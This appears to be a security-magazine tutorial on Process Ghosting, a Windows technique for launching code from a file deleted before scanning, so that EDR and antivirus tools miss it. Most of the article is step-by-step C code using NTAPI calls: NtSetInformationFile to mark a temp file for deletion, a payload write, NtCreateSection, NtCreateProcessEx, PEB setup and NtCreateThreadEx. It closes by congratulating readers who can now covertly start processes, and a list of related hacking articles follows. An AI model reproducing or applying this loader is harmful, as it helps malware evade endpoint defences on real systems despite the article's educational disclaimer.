Process Ghosting. Circumvent antiviruses in the most dangerous way

Date: 28/04/2025

One of the main priorities for hackers is to hide the execution of their malicious code. This article explains how to start processes using the Process Ghosting technique and discusses operation principles of malware detection systems.

Process Ghosting is one of the most relevant techniques nowadays. Using it, an attacker can run malicious code from an already deleted file. Process Ghosting is frequently used in combat malware. But to understand how it works, let’s go through the basics first.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

This article frequently mentions NTAPI functions. As you are likely aware, they cannot be just called; instead, you have to run them dynamically from ntdll.dll.

EDR (Endpoint Detection and Response)

EDR tools often use various functions to monitor process creation, including:

The file is scanned at startup, or more precisely, at the time of process creation. Below are the prototypes of the above-listed functions:

NTSTATUS PsSetCreateProcessNotifyRoutine(
// Callback function of the handler
[in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
[in] BOOLEAN Remove
);
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
// Callback function of the handler
[in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
[in] BOOLEAN Remove
);
NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
// Callback function of the handler
[in] PSCREATEPROCESSNOTIFYTYPE NotifyType,
[in] PVOID NotifyInformation,
[in] BOOLEAN Remove
);

Important: scan occurs precisely when the process starts, not in any other situation. This is done to save computational resources: otherwise, scanning all files in the system would take a very long time, especially during write operations.

For EDR, everything seems to be fine if a process is created using the NtCreateUserProcess function (a modern NTAPI first introduced in Windows Vista): it performs almost all actions required to create a process and its first thread. All steps are performed in its context: the first thread of the process is created, callbacks from PsSetCreateProcessNotifyRoutineEx are called, and so on. It’s really difficult to affect these procedures from the outside. Most importantly, EDR protection tools are effective only in this scenario because they expect the process to be created using NtCreateUserProcess.

In a similar way, NTAPI can be called by standard APIs such as CreateProcess (CreateProcessCreateProcessInternalWNtCreateUserProcess) or RtlCreateUserProcess (RtlCreateUserProcessExRtlpCreateUserProcessNtCreateUserProcess). In other words, even if you write code using WinAPI (which is a pretty rare thing nowadays), the ‘correct’ NtCreateUserProcess function will still be called, thus, satisfying requirements of EDR tools.

But everything changes if you create a process using the NtCreateProcessEx function. It’s older than NtCreateUserProcess and was left in Windows for backward compatibility. The point is that this function makes it possible to create a process in a more ‘manual’ way: you can affect the creation of threads and run them from user mode. Furthermore, this operation is possible even if you replace or delete files and processes or set the required flags (which is what you actually do). As a result, your executable code remains only in memory and avoids scanning because it has already been deleted from the hard drive before the creation of its first thread.

Coding

Done with theory, let’s start programming. The following steps are required to implement Process Ghosting.

First, you have to create a temporary file that will be subsequently deleted. I am going to create such a file using the NtCreateFile NTAPI function (don’t forget to grant it the required rights: delete, write, etc.). And, of course, this file should be stored in the folder for temporary files.

HANDLE hProcess = INVALID_HANDLE_VALUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
HANDLE hTempFile = INVALID_HANDLE_VALUE;
HANDLE hThread = INVALID_HANDLE_VALUE;
wchar_t filename[MAX_PATH] = { 0 };
wchar_t path_of_tempfile[MAX_PATH] = { 0 };
UNICODE_STRING file_name = { 0 };
IO_STATUS_BLOCK io_stat_block = { 0 };
OBJECT_ATTRIBUTES attributes = { 0 };
wstring nt_path = L"\\??\\" + wstring(filePath);
DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);
GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename);
if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;
RtlInitUnicodeString(&file_name, nt_path.c_str());
InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenFile(&hTempFile,
DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE,
&attributes,
&io_stat_block,
FILE_SHARE_READ | FILE_SHARE_WRITE,
FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT
);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Next, you have to mark this file as ready to be deleted. For this purpose, use the NtSetInformationFile function and set the value of the last argument to FileDispositionInformation. This will add the DeletePending flag to your file. Since that moment, the operating system will be ready to delete this temporarty file as soon as its handle is closed.

FILE_DISPOSITION_INFORMATION info = { 0 };
info.DeleteFile = TRUE;
status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Now write the code (function NtWriteFile) you want to be executed bypassing monitoring tools into your temporary file.

LARGE_INTEGER offset = { 0 };
status = NtWriteFile(
hTempFile,
NULL,
NULL,
NULL,
&status_block,
// Buffer with payload
myCodeBuf,
// Payload size
myCodeSize,
&offset,
NULL
);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Then you have to create a section object from your temporary file by calling the NtCreateSection function. Don’t forget to set the correct function arguments: PAGE_READONLY and SEC_IMAGE (they will indicate that you are dealing with an executable image file).

status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
// Create section from temporary file
hTempFile
);
if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;

Now you can close the temporary file handle by calling NtClose. Since this temporary file was created with the DeletePending flag, as soon as the handle is closed, the OS immediately deletes the file.

NtClose(hTempFile);

The next step is to create a process from your section. As a result, you get a handle to a new process, which will be subsequently used to create a thread inside your process.

status = NtCreateProcessEx(
&hProcess,
PROCESS_ALL_ACCESS,
NULL,
NtCurrentProcess(),
PS_INHERIT_HANDLES,
// Your section created in an earlier step
hSection,
NULL,
NULL,
FALSE
);
if (status != STATUS_SUCCESS) return 1;

To enable your thread to run in the OS, you have to configure PEB and process parameters.

First, let’s take care of the parameters:

UNICODE_STRING ImagePath = { 0 };
UNICODE_STRING DllPath = { 0 };
wchar_t curDirPath[MAX_PATH] = { 0 };
UNICODE_STRING CurrentDirectory = { 0 };
UNICODE_STRING WindowTitle = { 0 };
wchar_t dllSystemDir[] = L"C:\\Windows\\System32";
wchar_t* windowTitle = (LPWSTR)L"Calculator";
PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
LPVOID Environment;
RtlInitUnicodeString(&ImagePath, victimPath);
GetCurrentDirectoryW(MAX_PATH, curDirPath);
RtlInitUnicodeString(&CurrentDirectory, curDirPath);
RtlInitUnicodeString(&DllPath, dllSystemDir);
RtlInitUnicodeString(&WindowTitle, windowTitle);
CreateEnvironmentBlock(&Environment, NULL, TRUE);
NTSTATUS status = RtlCreateProcessParametersEx(
&pProcessParams,
(PUNICODE_STRING)&ImagePath,
(PUNICODE_STRING)&DllPath,
(PUNICODE_STRING)&CurrentDirectory,
(PUNICODE_STRING)&ImagePath,
Environment,
(PUNICODE_STRING)&WindowTitle,
nullptr,
nullptr,
nullptr,
RTL_USER_PROC_PARAMS_NORMALIZED
);
if (status != STATUS_SUCCESS) return 1;

Writing the parameters to the process (I omit endless if statements required to check call correctness):

VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);
VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);

Time to configure PEB. In fact, this is a standard procedure implemented when such processes are started using NtCreateProcessEx and similar functions. It’s present in any code and isn’t specific to Process Ghosting.

PEB peb_struct = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
SIZE_T count = 0;
DWORD RetLen = 0;
status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&RetLen
);
if (status != STATUS_SUCCESS) return 1;
ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress;
ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct;
LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset);
if (!WriteProcessMemory(hProcess, new_image_base,
&pProcessParams, sizeof(PVOID),
&count))
return 1;

Creating the first thread in your process using the NtCreateThreadEx function:

status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)processEntryPoint, // It can be computed using the formula: processEntryPoint = PEB.ImageBaseAddress + EntryPoint of your injected code
NULL,
FALSE,
0,
0,
0,
NULL
);
if (status != STATUS_SUCCESS) return 1;

Conclusions

Congrats! Now you can covertly start processes using Process Ghosting! But it’s too early to rest on the laurels. Techniques used to hide code execution are just the first step towards full ‘invisibility’. In addition, this trick leaves some artifacts in memory (although other techniques can be applied to avoid detection). I am going to continue this series of publications; so, see you soon!

Related posts:
2022.06.02 — Blindfold game. Manage your Android smartphone via ABD

One day I encountered a technical issue: I had to put a phone connected to a single-board Raspberry Pi computer into the USB-tethering mode on boot. To do this,…

Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch

When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…

Full article →
2022.02.15 — First contact: How hackers steal money from bank cards

Network fraudsters and carders continuously invent new ways to steal money from cardholders and card accounts. This article discusses techniques used by criminals to bypass security…

Full article →
2022.06.01 — Routing nightmare. How to pentest OSPF and EIGRP dynamic routing protocols

The magic and charm of dynamic routing protocols can be deceptive: admins trust them implicitly and often forget to properly configure security systems embedded in these protocols. In this…

Full article →
2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing

Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…

Full article →
2023.06.08 — Croc-in-the-middle. Using crocodile clips do dump traffic from twisted pair cable

Some people say that eavesdropping is bad. But for many security specialists, traffic sniffing is a profession, not a hobby. For some reason, it's believed…

Full article →
2023.07.07 — Evil Ethernet. BadUSB-ETH attack in detail

If you have a chance to plug a specially crafted device to a USB port of the target computer, you can completely intercept its traffic, collect cookies…

Full article →
2022.01.13 — Step by Step. Automating multistep attacks in Burp Suite

When you attack a web app, you sometimes have to perform a certain sequence of actions multiple times (e.g. brute-force a password or the second authentication factor, repeatedly…

Full article →
2022.06.03 — Playful Xamarin. Researching and hacking a C# mobile app

Java or Kotlin are not the only languages you can use to create apps for Android. C# programmers can develop mobile apps using the Xamarin open-source…

Full article →
2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security

This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…

Full article →